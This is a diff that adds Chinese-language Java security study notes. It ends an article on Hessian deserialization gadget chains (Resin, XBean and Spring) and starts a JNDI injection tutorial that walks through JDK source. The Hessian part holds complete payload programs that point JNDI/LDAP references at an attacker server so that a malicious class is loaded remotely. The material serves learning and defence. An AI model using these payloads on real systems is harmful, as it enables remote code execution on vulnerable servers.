constructor.setAccessible(true); + Context continuationContext = (Context) constructor.newInstance(cannotProceedException, new Hashtable<>()); + + // 创建QName + QName qName = new QName(continuationContext, "aaa", "bbb"); + String str = unhash(qName.hashCode()); + // 创建Xtring + XString xString = new XString(str); + + // 创建HashMap + HashMap hashMap = new HashMap(); + hashMap.put(qName, "111"); + hashMap.put(xString, "222"); + + // 序列化 + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + Hessian2Output hessian2Output = new Hessian2Output(baos); + SerializerFactory serializerFactory = new SerializerFactory(); + serializerFactory.setAllowNonSerializable(true); + hessian2Output.setSerializerFactory(serializerFactory); + hessian2Output.writeObject(hashMap); + hessian2Output.close(); + + // 反序列化 + ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); + Hessian2Input hessian2Input = new Hessian2Input(bais); + HashMap o = (HashMap) hessian2Input.readObject(); + + } + + public static void setFiled(String classname, Object o, String fieldname, Object value) throws Exception { + Class aClass = Class.forName(classname); + Field field = aClass.getDeclaredField(fieldname); + field.setAccessible(true); + field.set(o, value); + } + + public static String unhash ( int hash ) { + int target = hash; + StringBuilder answer = new StringBuilder(); + if ( target < 0 ) { + // String with hash of Integer.MIN_VALUE, 0x80000000 + answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002"); + + if ( target == Integer.MIN_VALUE ) + return answer.toString(); + // Find target without sign bit set + target = target & Integer.MAX_VALUE; + } + + unhash0(answer, target); + return answer.toString(); + } + private static void unhash0 ( StringBuilder partial, int target ) { + int div = target / 31; + int rem = target % 31; + + if ( div <= Character.MAX_VALUE ) { + if ( div != 0 ) + partial.append((char) div); + partial.append((char) rem); + } + else { + unhash0(partial, div); + partial.append((char) rem); + } + } +} +``` + +关于 payload 有一些需要注意的是 `String refAddr = "http://127.0.0.1:8085/";` 这里 url 链接末尾一定要加 / ,不然无法正确获取的恶意类。 + +攻击方是只要开启一个 HTTP 服务器,根路径下放一个 test.class 恶意类字节码就可以了。 + +### XBean 链 + +依赖部分,因为要使用 org.apache.xbean.naming.context.ContextUtil 类所以需要 XBean 依赖,因为要使用 org.springframework.aop.target.HotSwappableTargetSource 类所以需要 Spring 依赖: + +``` + + org.apache.xbean + xbean-naming + 4.26 + + + org.springframework + spring-aop + 6.1.14 + compile + +``` + +利用链如下: + +``` +Hessian2Input#readObject() +SerializerFactory#readMap(AbstractHessianInput, String) +MapDeserializer#readMap(AbstractHessianInput) +HashMap#put(K, V) +HashMap#putVal(int, K, V, boolean, boolean) +HotSwappableTargetSource#equals(Object) +XString#equals(Object) +Binding#toString() +ContextUtil$ReadOnlyBinding#getObject() +ContextUtil#resolve(Object, String, Name, Context) +NamingManager#getObjectInstance(Object, Name, Context, Hashtable) +NamingManager#getObjectFactoryFromReference(Reference, String) +VersionHelper12#loadClass(String, String) +VersionHelper12#loadClass(String, ClassLoader) +Class#forName(String, boolean, ClassLoader) # Class.forName 的第二个参数设置为 true ,会经过初始化阶段,执行静态代码块 +``` + +这条链子使用前面说的 HotSwappableTargetSource 的特性来制造 hash 冲突。 + +从这条链子学习一个新类,即 ContextUtil$ReadOnlyBinding#getObject() 能够触发远程类加载。 + +跟 Resin 链不一样的是,这里的远程类必须要继承 javax.naming.spi.ObjectFactory ,否则会抛出异常: + +![](https://changeyourway.github.io/images/image-20250107235732110.png) + +而 Resin 链没有这个要求。 + +payload 如下: + +``` +package unser; + +import com.caucho.hessian.io.Hessian2Input; +import com.caucho.hessian.io.Hessian2Output; +import com.caucho.hessian.io.SerializerFactory; +import com.sun.org.apache.xpath.internal.objects.XString; +import org.apache.xbean.naming.context.WritableContext; +import org.springframework.aop.target.HotSwappableTargetSource; + +import javax.naming.Context; +import javax.naming.Reference; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.util.HashMap; + +public class XBeanHessian { + public static void main(String[] args) throws Exception { + String refAddr = "http://127.0.0.1:8002/"; + String refClassName = "EvilClass"; + + Reference ref = new Reference(refClassName, refClassName, refAddr); + WritableContext writableContext = new WritableContext(); + + // 创建ReadOnlyBinding对象 + String classname = "org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding"; + Object readOnlyBinding = Class.forName(classname).getDeclaredConstructor(String.class, Object.class, Context.class).newInstance("aaa", ref, writableContext); + + // 创建XString + XString xString = new XString("bbb"); + + HotSwappableTargetSource targetSource1 = new HotSwappableTargetSource(readOnlyBinding); + HotSwappableTargetSource targetSource2 = new HotSwappableTargetSource(xString); + + //创建HashMap + HashMap hashMap = new HashMap(); + hashMap.put(targetSource1, "111"); + hashMap.put(targetSource2, "222"); + + // 序列化 + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + Hessian2Output hessian2Output = new Hessian2Output(baos); + SerializerFactory serializerFactory = new SerializerFactory(); + serializerFactory.setAllowNonSerializable(true); + hessian2Output.setSerializerFactory(serializerFactory); + hessian2Output.writeObject(hashMap); + hessian2Output.close(); + + // 反序列化 + ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); + Hessian2Input hessian2Input = new Hessian2Input(bais); + HashMap o = (HashMap) hessian2Input.readObject(); + + } +} +``` + +### Spring PartiallyComparableAdvisorHolder 链 + +依赖导入: + +``` + + org.springframework + spring-core + 5.3.28 + + + + org.springframework + spring-beans + 5.3.28 + + + org.springframework + spring-context + 5.3.28 + + + + org.slf4j + slf4j-api + 2.0.9 + + + org.slf4j + slf4j-simple + 2.0.9 + + + + + org.aspectj + aspectjweaver + 1.9.22.1 + runtime + +``` + +乍一看需要的依赖还挺多的。 + +利用链如下: + +``` +Hessian2Input#readObject() +SerializerFactory#readMap(AbstractHessianInput, String) +MapDeserializer#readMap(AbstractHessianInput) +HashMap#put(K, V) +HashMap#putVal(int, K, V, boolean, boolean) +HotSwappableTargetSource#equals(Object) +XString#equals(Object) +AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder#toString() +AspectJPointcutAdvisor#getOrder() +AbstractAspectJAdvice#getOrder() +BeanFactoryAspectInstanceFactory#getOrder() +SimpleJndiBeanFactory#getType(String) +SimpleJndiBeanFactory#getType(String, boolean) +SimpleJndiBeanFactory#doGetType(String) +JndiLocatorSupport#lookup(String, @Nullable Class) # JNDI 注入 +``` + +以 org.springframework.jndi.support.SimpleJndiBeanFactory 作为 sink 点,看名字是 Spring 中的 JNDI 功能,那么这个类想必也会经常用到。 + +经过一系列调用,最终调用到 NamingManager#getObjectFactoryFromReference(Reference, String) 获取远程类: + +![](https://changeyourway.github.io/images/image-20250108150324789.png) + +payload 如下: + +``` +package unser; + +import com.caucho.hessian.io.Hessian2Input; +import com.caucho.hessian.io.Hessian2Output; +import com.caucho.hessian.io.SerializerFactory; +import com.sun.org.apache.xpath.internal.objects.XString; +import org.springframework.aop.aspectj.AbstractAspectJAdvice; +import org.springframework.aop.aspectj.AspectInstanceFactory; +import org.springframework.aop.aspectj.AspectJAroundAdvice; +import org.springframework.aop.aspectj.AspectJPointcutAdvisor; +import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory; +import org.springframework.aop.target.HotSwappableTargetSource; +import org.springframework.jndi.support.SimpleJndiBeanFactory; +import sun.reflect.ReflectionFactory; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.util.HashMap; + +public class SpringPHessian { + public static void main(String[] args) throws Exception { + // ldap url + String url = "ldap://127.0.0.1:8085/frcAHYRo"; + + // 创建SimpleJndiBeanFactory + SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory(); + + // 创建BeanFactoryAspectInstanceFactory + // 触发SimpleJndiBeanFactory的getType方法 + AspectInstanceFactory beanFactoryAspectInstanceFactory = createWithoutConstructor(BeanFactoryAspectInstanceFactory.class); + setField(beanFactoryAspectInstanceFactory, "beanFactory", simpleJndiBeanFactory); + setField(beanFactoryAspectInstanceFactory, "name", url); + + // 创建AspectJAroundAdvice + // 触发BeanFactoryAspectInstanceFactory的getOrder方法 + AbstractAspectJAdvice aspectJAroundAdvice = createWithoutConstructor(AspectJAroundAdvice.class); + setField(aspectJAroundAdvice, "aspectInstanceFactory", beanFactoryAspectInstanceFactory); + + // 创建AspectJPointcutAdvisor + // 触发AspectJAroundAdvice的getOrder方法 + AspectJPointcutAdvisor aspectJPointcutAdvisor = createWithoutConstructor(AspectJPointcutAdvisor.class); + setField(aspectJPointcutAdvisor, "advice", aspectJAroundAdvice); + + // 创建PartiallyComparableAdvisorHolder + // 触发AspectJPointcutAdvisor的getOrder方法 + String PartiallyComparableAdvisorHolder = "org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder"; + Class aClass = Class.forName(PartiallyComparableAdvisorHolder); + Object partially = createWithoutConstructor(aClass); + setField(partially, "advisor", aspectJPointcutAdvisor); + + // 创建HotSwappableTargetSource + // 触发PartiallyComparableAdvisorHolder的toString方法 + HotSwappableTargetSource targetSource1 = new HotSwappableTargetSource(partially); + HotSwappableTargetSource targetSource2 = new HotSwappableTargetSource(new XString("aaa")); + + // 创建HashMap + HashMap hashMap = new HashMap(); + hashMap.put(targetSource1, "111"); + hashMap.put(targetSource2, "222"); + + // 序列化 + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + Hessian2Output hessian2Output = new Hessian2Output(baos); + SerializerFactory serializerFactory = new SerializerFactory(); + serializerFactory.setAllowNonSerializable(true); + hessian2Output.setSerializerFactory(serializerFactory); + hessian2Output.writeObject(hashMap); + hessian2Output.close(); + + // 反序列化 + ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); + Hessian2Input hessian2Input = new Hessian2Input(bais); + HashMap o = (HashMap) hessian2Input.readObject(); + } + + public static void setField(Object o, String fieldname, Object value) throws Exception { + Field field = getField(o.getClass(), fieldname); + field.setAccessible(true); + field.set(o, value); + } + + public static T createWithoutConstructor ( Class classToInstantiate ) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); + } + + public static T createWithConstructor ( Class classToInstantiate, Class constructorClass, Class[] consArgTypes, + Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); + objCons.setAccessible(true); + Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); + sc.setAccessible(true); + return (T) sc.newInstance(consArgs); + } + + public static Field getField ( final Class clazz, final String fieldName ) throws Exception { + try { + Field field = clazz.getDeclaredField(fieldName); + if ( field != null ) + field.setAccessible(true); + else if ( clazz.getSuperclass() != null ) + field = getField(clazz.getSuperclass(), fieldName); + + return field; + } + catch ( NoSuchFieldException e ) { + if ( !clazz.getSuperclass().equals(Object.class) ) { + return getField(clazz.getSuperclass(), fieldName); + } + throw e; + } + } +} +``` + +### Spring AbstractBeanFactoryPointcutAdvisor 链 + +这条链子我测的时候使用一代 HessianInput/HessianOutput 能打通,使用二代 Hessian2Input/Hessian2Output 的时候打不通。感谢 [stoocea](https://stoocea.github.io/) 师傅帮忙调试,并指出是依赖的问题,二代反序列化要想打通需要更低一点的版本,依赖如下: + +``` + + org.springframework + spring-aop + 5.0.0.RELEASE + + + org.springframework + spring-context + 4.1.3.RELEASE + +``` + +依然是用到 SimpleJndiBeanFactory 类进行 JNDI 注入,不过函数不一样。 + +利用链如下: + +``` +Hessian2Input#readObject() +SerializerFactory#readMap(AbstractHessianInput, String) +MapDeserializer#readMap(AbstractHessianInput) +HashMap#put(K, V) +HashMap#putVal(int, K, V, boolean, boolean) +HotSwappableTargetSource#equals(Object) +AbstractPointcutAdvisor#equals(@Nullable Object) +AbstractBeanFactoryPointcutAdvisor#getAdvice() +SimpleJndiBeanFactory#getBean(String, Class) +SimpleJndiBeanFactory#doGetSingleton(String, @Nullable Class) +JndiLocatorSupport#lookup(String, @Nullable Class) # JNDI 注入 +``` + +payload 如下: + +``` +package unser; + +import com.caucho.hessian.io.*; +import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor; +import org.springframework.aop.target.HotSwappableTargetSource; +import org.springframework.jndi.support.SimpleJndiBeanFactory; +import org.springframework.scheduling.annotation.AsyncAnnotationAdvisor; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Field; +import java.util.HashMap; + +public class aaa { + public static void main(String[] args) throws Exception { + // ldap url + String url = "ldap://127.0.0.1:8085/qoIZsFiO"; + + SimpleJndiBeanFactory beanFactory = new SimpleJndiBeanFactory(); + beanFactory.setShareableResources(url); + + DefaultBeanFactoryPointcutAdvisor advisor1 = new DefaultBeanFactoryPointcutAdvisor(); + advisor1.setAdviceBeanName(url); + advisor1.setBeanFactory(beanFactory); + + AsyncAnnotationAdvisor advisor2 = new AsyncAnnotationAdvisor(); + + HotSwappableTargetSource targetSource1 = new HotSwappableTargetSource("1"); + HotSwappableTargetSource targetSource2 = new HotSwappableTargetSource("2"); + + // 创建HashMap + HashMap hashMap = new HashMap(); + hashMap.put(targetSource1, "111"); + hashMap.put(targetSource2, "222"); + + String classname = "org.springframework.aop.target.HotSwappableTargetSource"; + setField(classname, targetSource1, "target", advisor1); + setField(classname, targetSource2, "target", advisor2); + + // 创建HashMap + HashMap hashMap1 = new HashMap(); + hashMap1.put(hashMap, "111"); + + // 序列化 + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + Hessian2Output hessian2Output = new Hessian2Output(baos); + SerializerFactory serializerFactory = new SerializerFactory(); + serializerFactory.setAllowNonSerializable(true); + hessian2Output.setSerializerFactory(serializerFactory); + hessian2Output.writeObject(hashMap1); + hessian2Output.close(); + + // 反序列化 + ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); + Hessian2Input hessian2Input = new Hessian2Input(bais); + HashMap o = (HashMap) hessian2Input.readObject(); + } + + public static void setField(String classname, Object o, String fieldname, Object value) throws Exception { + Class aClass = Class.forName(classname); + Field field = aClass.getDeclaredField(fieldname); + field.setAccessible(true); + field.set(o, value); + } +} +``` + +## 参考文章 + +[超详细解析 Hessian 利用链](https://xz.aliyun.com/t/13599?time__1311=GqmxuDc7iQKiqGNDQ0PBKq0K5zDRh7okAbD#toc-11) + +[Hessian 反序列化漏洞](https://www.javasec.org/java-vuls/Hessian.html#%E4%BA%94%E3%80%81%E6%BC%8F%E6%B4%9E) + +特别鸣谢 :[stoocea](https://stoocea.github.io/) diff --git a/books/漏洞篇 - JNDI 注入详解.md b/books/漏洞篇 - JNDI 注入详解.md new file mode 100644 index 0000000..e2c30f2 --- /dev/null +++ b/books/漏洞篇 - JNDI 注入详解.md @@ -0,0 +1,1218 @@ +# 漏洞篇 - JNDI 注入详解 +> 2024-09-06 +> 来源:https://changeyourway.github.io/2024/09/06/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-JNDI%E6%B3%A8%E5%85%A5%E8%AF%A6%E8%A7%A3/ + +## JNDI 基础 + +JNDI 全称为 **Java Naming and Directory Interface**,即 Java 名称与目录接口。JNDI 提供了一种统一的接口来访问不同的命名和目录服务。它被广泛应用于企业级 Java 应用程序中,用于查找和访问各种资源,如数据库连接、EJB(Enterprise JavaBeans)组件、消息队列、环境变量等。 + +那么提到命名和目录服务,就有一些名词需要了解一下。 + +### 命名服务(Naming Service) + +所谓命名服务,就是通过名称查找实际对象的服务。比如: + +- DNS:通过域名查找实际的 IP 地址; +- 文件系统:通过文件名定位到具体的文件; + +在命名服务中有一些重要的概念: + +- **Bindings**:表示一个名称和对应对象的绑定关系。 +- **Context**:上下文,它是一个容器,代表了一个命名空间或环境,用户可以在其中查找、绑定和管理名字与对象之间的关联。 +- **References**:引用,它用于表示某个名字所对应的对象的“指针”或“引用路径”。通过引用,命名服务能够提供对对象的间接访问,而不是直接返回对象本身。 + +### 目录服务(Directory Service) + +目录服务(Directory Service)是一个扩展了命名服务功能的服务,它不仅能够将名字映射到对象,还能为这些对象提供与之关联的属性(Attributes)。目录服务在管理和查找分布式资源时非常有用,特别是在企业级应用中。 + +#### JNDI 中的目录服务实现 + +JNDI 本身只是一个 API ,具体的目录服务由底层的实现提供。常见的 JNDI 目录服务实现包括: + +- LDAP (Lightweight Directory Access Protocol):轻量级目录访问协议,最常用的目录服务协议,广泛用于企业中的用户和权限管理。 +- DNS (Domain Name System):尽管主要是一个命名服务,DNS 也可以作为目录服务的一部分来处理一些资源记录。 +- NIS (Network Information Service):主要用于 Unix/Linux 系统中的网络信息管理。 +- RMI 注册表 (RMI Registry):在 Java RMI 中,JNDI 可以与 RMI 注册表集成,提供分布式对象的目录服务。 + +### JNDI API 和 SPI + +JNDI(Java Naming and Directory Interface)包含两个主要部分:API(应用程序接口)和SPI(服务提供者接口)。如图: + +![](https://changeyourway.github.io/images/1724813922373.png) + +这两个部分分别定义了如何使用 JNDI 以及如何实现 JNDI 服务。 + +###### JNDI API + +JNDI API (Application Programming Interface) 是面向应用程序开发者的接口,提供了一组标准的方法和类,使开发者能够通过统一的方式访问不同的命名和目录服务。它隐藏了底层服务的具体实现,提供了一种抽象层,使得开发者无需关心具体的服务提供者如何实现这些功能。 + +JNDI API 提供了以下主要功能: + +- 命名操作:允许查找、绑定、重新绑定和取消绑定对象。基本操作包括: + - `Context.lookup(String name)`:查找一个对象。 + - `Context.bind(String name, Object obj)`:将一个名字绑定到一个对象。 + - `Context.rebind(String name, Object obj)`:重新绑定一个名字到一个新对象。 + - `Context.unbind(String name)`:从命名空间中解除名字与对象的绑定。 +- 目录操作:允许在对象中添加、删除、修改属性,以及查询对象的属性。主要操作包括: + - `DirContext.getAttributes(String name)`:获取对象的属性。 + - `DirContext.modifyAttributes(String name, int mod_op, Attributes attrs)`:修改对象的属性。 + - `DirContext.search(String name, String filter, SearchControls cons)`:根据过滤条件搜索对象。 + +以下是一个简单的 JNDI API 使用示例: + +``` +// 创建JNDI环境 +Hashtable env = new Hashtable<>(); +env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory"); +env.put(Context.PROVIDER_URL, "ldap://localhost:389"); + +// 获取初始上下文 +Context ctx = new InitialContext(env); + +// 查找对象 +Object obj = ctx.lookup("cn=example,dc=example,dc=com"); +System.out.println("Found object: " + obj); + +// 关闭上下文 +ctx.close(); +``` + +###### JNDI SPI + +JNDI SPI (Service Provider Interface) 是面向服务提供者的接口,定义了如何实现 JNDI API 的底层功能。服务提供者需要实现这些接口,以便 JNDI API 能够与实际的命名和目录服务进行交互。 + +JNDI SPI 定义了各种底层操作的实现方式,服务提供者需要提供这些操作的具体实现。主要包括: + +- **命名服务提供者接口**:服务提供者需要实现 `javax.naming.spi.NamingManager` 类和相关接口,提供命名操作的具体实现。 +- **目录服务提供者接口**:服务提供者需要实现 `javax.naming.spi.DirContext` 及其子类,提供目录操作的实现。 + +用途: + +- **服务集成**:SPI 允许不同的命名和目录服务集成到 JNDI 中,使得 JNDI 能够支持多种服务(如 LDAP 、DNS 、RMI 等)。通过实现 SPI ,服务提供者可以将特定的命名和目录服务功能暴露给 JNDI API 。 +- **扩展性**:通过 SPI ,JNDI 框架能够扩展,以支持新的命名和目录服务,而不需要修改 JNDI API 。 + +以下是一个简单的 SPI 实现示例: 假设我们要实现一个简单的命名服务提供者,需要实现 `javax.naming.spi.InitialContextFactory` 接口: + +``` +public class MyInitialContextFactory implements InitialContextFactory { + + @Override + public Context getInitialContext(Hashtable environment) throws NamingException { + return new MyContext(environment); + } +} + +// 自定义的Context实现 +class MyContext implements Context { + private Hashtable environment; + + public MyContext(Hashtable environment) { + this.environment = environment; + } + + @Override + public Object lookup(String name) throws NamingException { + // 自定义查找逻辑 + return "Looked up object for " + name; + } + + // 其他Context接口方法的实现... +} +``` + +###### JNDI API 和 SPI 的关系 + +- **API 使用 SPI**:JNDI API 提供了应用程序访问命名和目录服务的方法,但这些方法的具体实现依赖于底层的 SPI 。SPI 由具体的服务提供者实现,并通过 API 暴露给应用程序。 +- **分离实现与使用**:API 和 SPI 的分离设计使得 JNDI 具有高度的灵活性和可扩展性。应用程序可以使用统一的 API 与不同的服务交互,而不同的服务提供者可以通过实现 SPI 集成到 JNDI 框架中。 + +**总结** + +- JNDI API 是开发者与命名和目录服务交互的入口,提供了高层次的抽象接口。 +- JNDI SPI 则是底层服务提供者实现 API 所需功能的接口,确保 JNDI 能够支持多种不同的命名和目录服务。 + +## JNDI 入门案例 + +那么首先来实现一个利用 JNDI 接口调用 RMI 的入门案例。 + +RMI 服务端: + +``` +import java.io.IOException; +import java.rmi.AlreadyBoundException; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; + +public class Server { + public static void main(String[] args) throws IOException, AlreadyBoundException, InterruptedException { + // 将 SayHello 服务转换为 RMI 远程服务接口 + SayHelloInterface skeleton = new SayHelloImpl(); + // 将 RMI 服务注册到 1099 端口 + Registry registry = LocateRegistry.createRegistry(1099); + // 注册 SayHello 服务,服务名为 "SayHello" + registry.rebind("SayHello", skeleton); + } +} +``` + +接口 SayHelloInterface : + +``` +public interface SayHelloInterface extends Remote { + String function(String input) throws IOException; +} +``` + +实现类: + +``` +import java.io.IOException; +import java.rmi.RemoteException; +import java.rmi.server.UnicastRemoteObject; + +public class SayHelloImpl extends UnicastRemoteObject implements SayHelloInterface { + protected SayHelloImpl() throws RemoteException { + } + + @Override + public String function(String input) throws RemoteException, IOException { + return input; + } +} +``` + +JNDI 客户端: + +``` +import javax.naming.Context; +import javax.naming.InitialContext; +import java.util.Hashtable; + +public class Client { + public static void main(String[] args) throws Exception { + + //设置JNDI环境变量 + Hashtable env = new Hashtable<>(); + env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); + env.put(Context.PROVIDER_URL, "rmi://localhost:1099"); + //初始化上下文 + Context initialContext = new InitialContext(env); + //调用远程类 + SayHelloInterface sayhello = (SayHelloInterface) initialContext.lookup("SayHello"); + System.out.println(sayhello.function("test")); + + } +} +``` + +运行结果: + +![](https://changeyourway.github.io/images/QQ_1725023949201.png) + +那么从上面的案例可以看出,要想使用 JNDI 接口调用 RMI ,只需要把原来的 Registry 对象换成 JNDI 的 Context 上下文对象即可,利用这个上下文对象来统一调度各种命名与目录服务。 + +前面在举 JNDI API 使用示例的时候,调用的是 LDAP 服务,可以看到也是先获取了 Context 上下文对象。 + +那么 Context 上下文对象是如何判断具体调用哪一种服务的呢? + +在获取 Context 对象时调用了 InitialContext 构造方法,传入了一个 Hashtable 对象,在这个对象中设置了两个键,分别是 INITIAL\_CONTEXT\_FACTORY 和 PROVIDER\_URL ,它们就分别代表了要调用的服务和服务器的地址。 + +## JNDI 源码分析 + +环境为 JDK 8u71 。 + +### 初始化上下文 + +在 new InitialContext 处下断点: + +![](https://changeyourway.github.io/images/QQ_1725025107716.png) + +跟进 InitialContext 的构造方法一探究竟: + +![](https://changeyourway.github.io/images/QQ_1725025185797.png) + +这里首先是调用 environment.clone() ,Hashtable 类的 clone 方法用于创建一个 Hashtable 对象的浅拷贝。浅拷贝意味着它会引用原始 Hashtable 中的键值对,但不会复制这些键值对本身所引用的对象。也就是说新拷贝的 Hashtable 将包含与原始 Hashtable 相同的键和相同的值的引用,但这些值是与原 Hashtable 中的相同对象共享的。 + +然后调用了 InitialContext 的 init 方法,跟进它: + +![](https://changeyourway.github.io/images/QQ_1725025394196.png) + +这里先是调用 ResourceManager.getInitialEnvironment 方法。 + +###### ResourceManager#getInitialEnvironment + +这个方法通过合并多种来源(包括用户提供的环境设置、系统属性、Applet 参数和应用资源文件)来构建最终的环境 Hashtable 。 + +跟进 ResourceManager.getInitialEnvironment 方法看看: + +![](https://changeyourway.github.io/images/QQ_1725075439737.png) + +首先是创建了一个 props 数组,这个数组中包含了很多与命名服务相关的属性: + +![](https://changeyourway.github.io/images/QQ_1725075493848.png) + +然后判断 env 是否存在,没有就创建。因为我们传入了一个 env 对象,所以不创建。 + +接着从 env 中获取 Context.APPLET 键的值,因为我们一开始并没有设置,自然获取到空值: + +![](https://changeyourway.github.io/images/QQ_1725075668483.png) + +再往下看: + +![](https://changeyourway.github.io/images/QQ_1725075703930.png) + +这里首先是利用 helper.getJndiProperties 从系统属性中获取与 JNDI 相关的属性值,但是我并没有设置系统属性,所以获取到空值: + +![](https://changeyourway.github.io/images/QQ_1725077490189.png) ![](https://changeyourway.github.io/images/QQ_1725076041307.png) + +接下也是最为关键的一步,循环遍历,将 props 数组中的所有值作为键去获取对应的值。首先是从 env 中找,如果 env 没有就再去 applet 中找,如果还是没有就再去 jndiSysProps 中找。所以这里就找了传入的值、Applet 参数和系统属性,将找到的结果全部注入到 env 中。 + +方法的最后就是判断有没有开启应用资源文件,如果允许的话,就再从应用资源文件中找一遍。如果不允许,就直接返回 env : + +![](https://changeyourway.github.io/images/QQ_1725076491813.png) + +因为我只设置了 env ,所以最后返回的结果跟传入的参数一模一样: + +![](https://changeyourway.github.io/images/QQ_1725076806822.png) + +###### 设置系统属性来初始化上下文 + +由此也可以知道,除了设置 Hashtable 对象外,还可以通过设置系统属性来初始化上下文。 + +``` +public class Client { + public static void main(String[] args) throws Exception { + // 设置系统属性 + System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); + System.setProperty(Context.PROVIDER_URL, "rmi://localhost:1099"); + // 初始化上下文 + Context initialContext = new InitialContext(); + //调用远程类 + SayHelloInterface sayhello = (SayHelloInterface) initialContext.lookup("SayHello"); + System.out.println(sayhello.function("test")); + + } +} +``` + +这样在调用 helper.getJndiProperties 获取系统属性时获取到的将不再是空值: + +![](https://changeyourway.github.io/images/QQ_1725077562018.png) + +那么 ResourceManager.getInitialEnvironment 就分析完了。 + +回到 init 方法,我们继续看 getDefaultInitCtx 方法: + +![](https://changeyourway.github.io/images/%7B842EB5FD-7EDE-4D50-86CB-882140458A4C%7D) + +###### InitialContext#getDefaultInitCtx + +跟进 InitialContext#getDefaultInitCtx 看看: + +![](https://changeyourway.github.io/images/QQ_1725083853814.png) + +###### NamingManager#getInitialContext + +这里只是调用了 NamingManager.getInitialContext ,跟进它: + +![](https://changeyourway.github.io/images/image-20240831140627510.png) + +NamingManager.getInitialContext 首先调用了 getInitialContextFactoryBuilder 获取了一个 InitialContextFactoryBuilder 对象。 + +![](https://changeyourway.github.io/images/QQ_1725084482734.png) + +这个方法没什么可看的,最后获取到的 builder 为空: + +![](https://changeyourway.github.io/images/QQ_1725084515607.png) + +进入 builder 为空的判断,随后获取了 env 中的 Context.INITIAL\_CONTEXT\_FACTORY 属性值,也就是我们一开始设置的那个属性值: + +![](https://changeyourway.github.io/images/QQ_1725084638437.png) + +显然不为空,那么不会报出异常。 + +继续往下: + +![](https://changeyourway.github.io/images/QQ_1725084720549.png) + +先是实例化了一下 RegistryContextFactory 类: + +![](https://changeyourway.github.io/images/QQ_1725085639878.png) + +正确传入了 className 那么实例化没有问题。 + +builder 为空,所以 builder.createInitialContextFactory 不会被调用。 + +最后调用 factory.getInitialContext 方法,也就是 RegistryContextFactory 的 getInitialContext 方法。 + +###### RegistryContextFactory#getInitialContext + +跟进 RegistryContextFactory 的 getInitialContext 方法: + +![](https://changeyourway.github.io/images/QQ_1725085874130.png) + +var1 是传入的 Hashtable 对象 env ,自然是不为空的。这里创建 var1 的引用。 + +先调用 getInitCtxURL 方法获取了环境变量中的 java.naming.provider.url 属性,也即 “rmi://localhost:1099” 字符串返回: + +![](https://changeyourway.github.io/images/QQ_1725086036739.png) + +然后调用 URLToContext 方法将参数传入,跟进 RegistryContextFactory 的 URLToContext 方法: + +![](https://changeyourway.github.io/images/QQ_1725086448932.png) + +这里的核心是利用 rmiURLContextFactory 的构造方法获取一个 rmiURLContextFactory 对象,利用这个工厂对象获取 Context 对象并返回。 + +rmiURLContextFactory 构造方法什么也没写: + +![](https://changeyourway.github.io/images/QQ_1725086841824.png) + +那就接着看 rmiURLContextFactory 的 getObjectInstance 方法: + +![](https://changeyourway.github.io/images/QQ_1725086970746.png) + +var1 是有值的,而且是 String 类型,所以调用 getUsingURL 处理。 + +跟进 rmiURLContextFactory 的 getUsingURL 方法: + +![](https://changeyourway.github.io/images/QQ_1725087125013.png) + +这里获取到的 var2 是 rmiURLContext 对象,其中依然封装着环境变量: + +![](https://changeyourway.github.io/images/QQ_1725087363188.png) + +接下来便会调用 rmiURLContext 的父类 GenericURLContext 的 lookup 方法。 + +###### GenericURLContext#lookup + +跟进 GenericURLContext 的 lookup 方法: + +![](https://changeyourway.github.io/images/QQ_1725087523333.png) + +跟进 GenericURLContext 的 getRootURLContext 方法: + +GenericURLContext 的 getRootURLContext 方法做了大量的字符串处理,在方法的最后调用了 RegistryContext 的构造方法: + +![](https://changeyourway.github.io/images/QQ_1725088276107.png) + +来看 RegistryContext 的构造方法: + +![](https://changeyourway.github.io/images/QQ_1725088849863.png) + +最后调用 RegistryContext 的 getRegistry 方法获取了一个 RegistryImpl\_Stub 对象: + +![](https://changeyourway.github.io/images/QQ_1725089041622.png) + +RegistryContext 的 getRegistry 方法毫不意外是用 LocateRegistry.getRegistry 方法获取对象,与 RMI 一样: + +![](https://changeyourway.github.io/images/QQ_1725089107722.png) + +好,那么回到 GenericURLContext 的 lookup 方法,此时 getRootURLContext 已经调用完毕,获取到的 var2 有两个属性 resolvedObj 和 remainingName: + +![](https://changeyourway.github.io/images/QQ_1725089500131.png) + +那么 var3 获取到的自然是 RegistryContext 对象,调用 RegistryContext 的 lookup 方法。 + +RegistryContext 的 lookup 方法: + +![](https://changeyourway.github.io/images/QQ_1725089711617.png) + 